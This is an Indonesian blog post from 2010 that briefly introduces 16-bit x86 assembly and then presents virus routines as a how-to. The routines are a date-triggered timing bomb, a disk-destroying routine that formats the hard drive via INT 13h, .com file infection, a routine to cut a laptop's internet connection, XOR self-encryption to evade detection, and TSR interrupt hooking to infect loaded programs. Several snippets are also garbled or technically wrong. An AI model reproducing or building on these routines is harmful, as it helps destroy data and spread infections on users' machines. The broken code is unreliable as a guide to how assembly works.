Rabu, 03 Februari 2010

Bahasa Assembler

Sekilas Asm 16 bit.
Ok sebelum mulai kita adakan sedikit intro tentang asm 16 bit. Dalam model pemrograman asm 16 bit kita masih banyak menjumpai register 8 bit misal: ah,al,bh,bl,ch,cl,dh,dl
sedangkan register 2 dalam model pemrograman asm 16 bit adalah: ax,bx,cx,dx,sp,bp,di,si,ip

,sp,dll....

sedikit info tambahan:
register 2 seperti ax,bx,cx,dx merupakan register akumulator serba guna
register ip merupakan register yang mengalamati isntruksi selanjutnya (instruction pointer), merujuk ke return address
resiter sp (stack pointer) merupakan sebuah alamat memori yang biasa disebut sebagai stack yang menganut sistem kerja LIFO (Last in first Out) -> yg pernah belajar akuntansi biaya pasti ngerti sistem tumpukan lifo ini.

Beberapa instruksi Dasar asm
lea : load effective address , misal lea dx,offset pesan -> menghitung alamat memori secara efektif dari variabel pesan ke register dx

jz : jump if zero -> locat jika tidak ada sisa atau zero (misal setelah cmp atau div)

jc: jump if carry -> loncat jika ada sisa

cmp : compare 2 buah register

mov : move, misal: mov ah,00

call: panggil -> untuk memanggil suatu makro

push : dorong -> memasukkan data ke stack

pop : ambil -> mengambil data dari stack

div : divide -> membagi

add: add-> menambah

adc : add if carry (carry=sisa), tambah jika ada sisa

jmp :jump -> loncat ke suatu makro

jnz: jump if not zero -> kebalikan dari jump if zero

int: interup -> pemanggilan interup (daftar interup dan syarat 2 pengisian register bisa dilihat di http://www.htl-steyr.ac.at/~morg/pcinfo

xor exclusive or (biasa digunakan untuk mereset atau mengosongkan register)

movs = Move Data from String to String
movsb =Move Data from String to Byte

dll...

ok langsung aja kita lanjut ke contoh-contoh rutin virus asm 16 byte

Teknik Timing Bomb

Teknik pemrograman virus yang bekerja dengan cara pengecekan jam di bios komputer, contoh kode asm untuk mengecek tanggal di bios dengan menggunakan interup 1 a fungsi 4 (daftar fungsi 2 interup di ms dos bisa anda lihat di http://www.htl-steyr.ac.at/~morg/pcinfo ... te1at0.htm), contoh rutin timing bomb untuk menampilkan pesan tiap tanggal 25 desember :
pesan db 'Selamat Hari Natal dari sang virus hahahaha',0dh,0ah,'$'
rutin_timer:
xor cx,cx ; reset register cx
mov ah, 04h ; syarat penggunaan int 1 a, ah harus diisi 4 hexa
int 1A ; eksekusi interup 1 a fungsi 4 hexa

;cek hasil eksekusi di register dx

cmp dx,2512 ; 2512 apakah tanggal 25 desember
jz makro_aksi_virus ; jump if zero ke makro_aksi_virus

makro_aksi_virus:
mov ah,09h ;syarat int 21h 09h , register ah harus diisi nilai 9 hexa
lea dx, offset pesan ; load effective address ke register dx
int 21h ;interup dos fungsi 21 hexa

Rutin Perusak Sistem

ok berikut ini adalah contoh rutin yang dibundel dalam makro perusak untuk merusak suatu sistem dengan cara melakukan pemformatan terhadap drive dari track 0 hardisk (misal hardisk drive 0)

perusak:
mov ah,05
mov cx,0
mov dh,0
mov dl, 80h
lea es,bx
int 13 h ; eksekusi int 13 hexa fungsi ke 5

Rutin Infeksi pada file .com

Untuk membuat virus non overwriting target file akan sangat kompleks karena ada perhitungan psp header file, untuk kali ini saya akan memberikan contoh teknik infeksi file dengan metode ini.
pertama virus menghitung size file lama dikurangi 3 byte.
(pada dasarnya teknik ini bukan benar2 tidak melakukan penimpaan terhadap file tapi tetap dilakukan penggantian beberapa byte kode di header file berekstensi .com)
contoh rutin untuk mengganti byte asli file :
mov di, 100h
mov di, offset simpan_byte ;simpan byte sudah didefinisikan
movsw ;konvert string ke word
movsb ;konvert string ke byte

;mengembalikan kontrol ke program asli

mov di, 100h
jmp di

Mematikan Koneksi Internet Wireless di laptop dengan virus

berikut ini sample virus yang menyebalkan yang berusaha mematikan koneksi internet anda yang dibundel dalam makro

matikan_internal_modem:
mov ah,44h
mov al,00
int 15 h

Mengamankan keberadaan virus dengan enksripsi xor

contoh rutin:

enkripsi_val db ?
decrypt:

enkripsi:
mov ah, enkripsi_val
mov cx, bagian_enkrip_end-bagian_enkrip_start
mov si, bagian_enkrip_start
mov di,si

xor loop:
lodsb
xor al,ah
stosb
loop xor_loop
ret

Teknik TSR (Terminate and Stay Resident)

Teknik ini akan membuat virus resident yang akan menginfeksi setiap program yang diload di memori. misal dengan menggunakan interup 21 h fungsi 25 h
(AH = 25h

AL = interrupt number

DSX = pointer to interrupt handler

returns nothing

- provides a safe method for changing interrupt vectors
)

ok mari kita tengok lebih lanjut tentang metode ini,
sample makro yang menggunakan metode ini:

;awal rutin residen
bios_routine:
mov ah,25h ; set alamat vektor interup
mov al,13 h ; interup ke sekian akan diset ke dalam al
mov dx, offset kode_virus ; hasil int 13 h ke sekian merujuk ke kode virus

int 21h ; gunakan interup 21 h fungsi 25 h

mov dv, offset bios_routine
int 27h

bios_routine ENDP ;akhir makro residen

0 komentar:

Posting Komentar